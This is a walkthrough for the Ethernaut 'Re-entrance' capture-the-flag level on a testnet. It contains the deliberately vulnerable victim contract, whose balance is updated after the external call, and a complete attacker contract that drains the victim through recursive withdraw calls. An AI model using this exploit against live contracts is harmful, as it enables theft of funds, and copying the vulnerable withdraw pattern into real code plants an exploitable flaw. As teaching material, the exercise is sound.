Steps
1. Create in remix vic.sol
(code from Ethernaut re-entrance level. I only changed math.sol import)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
2. Deploy in Rinkeby vic.sol
Deploy in Rinkeby vic.sol, using some account (called account 1) from Metamask.
Another options: deploy contract in Rinkeby, from Ethernaut site, using "Get new instance" button and console (I think that you already know that)
You could see my deployed contract here.
(It was deployed from the Ethernaut site)
3. Import in remix contract created in 2 (vic.sol)
Once the transaction from the previous point is finished, take contract's address and import in remix (field "at address").
4. Send ethers to contract created in 1 (vic.sol)
With account 1, send 1 ether to contract vic.sol.
Use "donate" method and put contract address (created in 1) as "address_to" parameter.

5. Create in remix attack.sol
Important notes:
- use another account in Metamask (different to account 1)
- Put in "address_victim" the vic.sol address
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./vic.sol";
contract ReentranceAttacker {
Reentrance public reenter;
uint256 initialDeposit;
constructor(address payable _victim) {
reenter = Reentrance(payable(_victim));
}
function attack() external payable {
require(msg.value >= 1 ether, "send >= 1 ether");
// first deposit some funds
initialDeposit = msg.value;
reenter.donate{value: initialDeposit}(address(this));
// withdraw these funds over and over again because of re-entrancy issue
callWithdraw();
}
receive() external payable {
// re-entrance called by reenter
callWithdraw();
}
function callWithdraw() private {
// this balance correctly updates after withdraw
uint256 challengeTotalRemainingBalance = address(reenter).balance;
// are there more tokens to empty?
bool keepRecursing = challengeTotalRemainingBalance > 0;
if (keepRecursing) {
// can only withdraw at most our initial balance per withdraw call
uint256 toWithdraw =
initialDeposit < challengeTotalRemainingBalance
? initialDeposit
: challengeTotalRemainingBalance;
reenter.withdraw(toWithdraw);
}
}
}
6. Deploy attack.sol to Rinkeby
Deploy attack.sol to Rinkeby.
See my contract deployed here.
7. Attack contract
Put 1 ether in value and press "attack" in deployed contract attack.sol.
When transaction is finished, you'll see 2.001 ethers in contract (attack.sol) balance and 0 ethers y vic.sol balance.
attack contract balance:

vic contract balance:

Notes about "2.001 ethers":
- 0.001 from Ethernaut (when deploy contract with "Get new instance" button, they transfer that value to contract)
- 1 ether from victim
- 1 ether from attacker (you)
And that's all. You could see that contracts works:
(submit solution to Ethernaut)
